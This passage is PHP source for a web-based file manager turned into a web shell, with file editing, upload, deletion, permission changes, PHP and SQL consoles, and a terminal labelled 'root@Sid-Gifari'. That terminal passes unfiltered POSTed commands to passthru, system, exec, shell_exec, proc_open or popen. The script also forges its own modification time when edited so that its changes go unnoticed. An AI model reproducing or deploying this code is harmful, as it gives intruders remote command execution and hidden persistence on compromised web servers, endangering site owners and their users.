EH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
